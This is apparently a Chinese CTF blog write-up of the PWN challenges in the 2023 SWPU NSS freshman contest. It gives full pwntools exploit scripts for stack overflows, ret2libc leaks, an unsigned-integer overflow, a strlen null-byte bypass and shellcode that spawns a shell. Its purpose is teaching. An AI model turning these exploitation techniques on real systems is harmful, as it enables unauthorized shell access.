LOADING

加载过慢请开启缓存 浏览器默认开启

2023年SWPU NSS 秋季招新赛 PWN

2023/10/20 CTF PWN SWPU NSS

2023年SWPU NSS 秋季招新赛 PWN

简介:

西南石油大学举办的一场新生赛,总体来说举办的不错,支持支持,明年再来!!!


guess me

签到题,nc再猜猜就完事了


签到

签到题,栈溢出,带有后面函数,唯一需要注意的就是需要栈平衡(加个 ret 就行)

exp 如下:

from pwn import *
context(arch="amd64", os="linux", log_level="debug")

# io = process("./111")
io = remote('node4.anna.nssctf.cn', 28836)

backdoor = 0x401232
ret_addr = 0x40101a

payload = b'A' * (0X30 + 8) + p64(ret_addr) + p64(backdoor)

io.sendline(payload)
io.interactive()

ezlibc

经典 32 位泄露 libc,不太懂的可以看看 PWN PWN PWN !!! 技巧 (1),这题就是通过 write 函数泄露 libc,自己构造 rop 链,来获取 shell。

exp 如下:

from pwn import *
context(arch="amd64", os="linux", log_level="debug")

# io = process("./111")
io = remote('node6.anna.nssctf.cn', 28337)
elf = ELF('./111')
libc = ELF('./libc-2.31.so')

ret_addr = 0x804900e
main_addr = 0x80491B6

payload = b'A' * (0x10 + 4) + p32(elf.plt['write']) + p32(main_addr) + p32(1) + p32(elf.got['write']) + p32(4)

io.recvuntil(b'Hello, there is a ez libc test!!!input:')
io.sendline(payload)

write_addr = u32(io.recvuntil(b'\xf7')[-4:])
print(hex(write_addr))

libc_base = write_addr - libc.sym['write']
sys_addr = libc_base + libc.sym['system']
bin_sh = libc_base + next(libc.search(b"/bin/sh\x00"))

payload = b'A' * (0x10 + 4) + p32(ret_addr) + p32(sys_addr) + p32(0) + p32(bin_sh)

io.sendline(payload)
io.interactive()

buy

这题也不难,认真的代码审计就行,仔细的去理清里面的逻辑就行。

刚开始看 vuln 函数,你就会发现 door 函数里面发生了栈溢出,并且还带有后门函数 mygift,可以利用栈溢出来获得 shell,那我们的首要目的就是让 key 等于 1 ,这样才能执行 door 函数。

然后我们就找啊找啊,发现在 food 函数可以实现 key 等于 1,但前提就是 money 必须大于 10000,同时你也会发现 money 的数据类型是无符号整形,让他等于负数,就可以实现整形溢出的效果,这样 money 就会蹭蹭的往上涨。

其次需要注意的就是不同函数的来回切换,你需要想好你要干什么,这样才能获得 shell。

这题同样需要栈平衡(怎么判呢?如果 payload = 垃圾数据 + system + binsh 打不通的话,不妨试试在 system 前面加个 ret 栈平衡一下)

exp 如下:

from pwn import *
context(arch="amd64", os="linux", log_level="debug")

# io = process("./111")
io = remote('node6.anna.nssctf.cn', 28209)

backdoor = 0x401544
ret_addr = 0x40101a

io.sendlineafter(b'your choice:\n', b'1')
io.sendlineafter(b'what do you want?\n', b'1')
io.sendlineafter(b'How many?\n', b'-11')

io.sendlineafter(b'your choice:\n', b'2')
io.sendlineafter(b'what do you want?\n', b'1')
io.sendlineafter(b'How many?\n', b'1')

payload = b'A' * (0XA + 8) + p64(ret_addr) + p64(backdoor)

io.recvuntil(b'input:\n')
io.sendline(payload)
io.interactive()

神奇的 strlen

查看一下保护机制,只打开了 NX。

IDA 反汇编一下,发现发生了栈溢出,但是前提是需要绕过 strlen(只需要通过 \x00 绕过),还有一个点需要注意就是上面需要输入一个整数(尽可能大点的数就行)。

这里有个坑不知道你们踩了没,这题是用:

puts_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))

而不是:

puts_addr = u64(p.recvuntil(b'\x7f')[:6].ljust(8, b'\x00'))

希望大家注意一下,弄得我想半天没有写出来……

准备工作完毕,开干!

exp 如下:

from pwn import *
from LibcSearcher import *
context(arch='amd64', os='linux', log_level='debug')

p = remote('node4.anna.nssctf.cn', 28171)
elf = ELF('./111')
libc = ELF('libc.so.6')

got_addr = elf.got['puts']
plt_addr = elf.plt['puts']
main_addr = 0x4011F6
rdi_addr = 0x401373
ret_addr = 0x40101a

p.sendlineafter('How many bytes do you want to input?\n', b'200')

payload = b'\x00' + b'A' * (0x40 + 7) + p64(rdi_addr) + p64(got_addr) + p64(plt_addr) + p64(main_addr)
p.recvuntil(b'input something else~\n')
p.sendline(payload)

puts_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
print(hex(puts_addr))

# put_addr = u64(io.recv(6).ljust(8, b'\x00'))
# print(hex(put_addr))

libc_base = puts_addr - libc.sym['puts']
sys_addr = libc_base + libc.sym['system']
bin_sh = libc_base + next(libc.search(b"/bin/sh\x00"))

p.sendlineafter('How many bytes do you want to input?\n', b'200')

payload = b'\x00' + b'a' * (0x40 + 7) + p64(ret_addr) + p64(rdi_addr) + p64(bin_sh) + p64(sys_addr)
p.recvuntil(b'input something else~\n')

p.sendline(payload)
p.interactive()

Shellcode

正常的一道 shellcode 的题目,刚开始不能反汇编,以为会很难(因为汇编代码不是很懂),结果发现直接上就完事了(注意一下 64 位的环境就行)

exp 如下:

from pwn import *
context(log_level='debug', arch='amd64', os='linux')

# p = process('./111')
p = remote('node4.anna.nssctf.cn', 28131)

# payload = b'\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x99\x0f\x05'

payload = asm(shellcraft.sh())

p.sendline(payload)
p.interactive()

总结:

这次比赛总体不错,RE 和 CRYPTO 都做了些,可惜的就是 PWN 没有 ak,暴露出了自己的弱点,还是要慢慢沉淀,对汇编还真的不是很熟,加油吧,冲冲冲!!!

⬅ 上一篇
PWN PWN PWN !!! 技巧 (2)
2023-10-21  |  | PWN
下一篇 ➡
NewStarCTF 2023 [WEEK 2] PWN
2023-10-15  |  | PWN, NewStarCTF
0%
Rope Head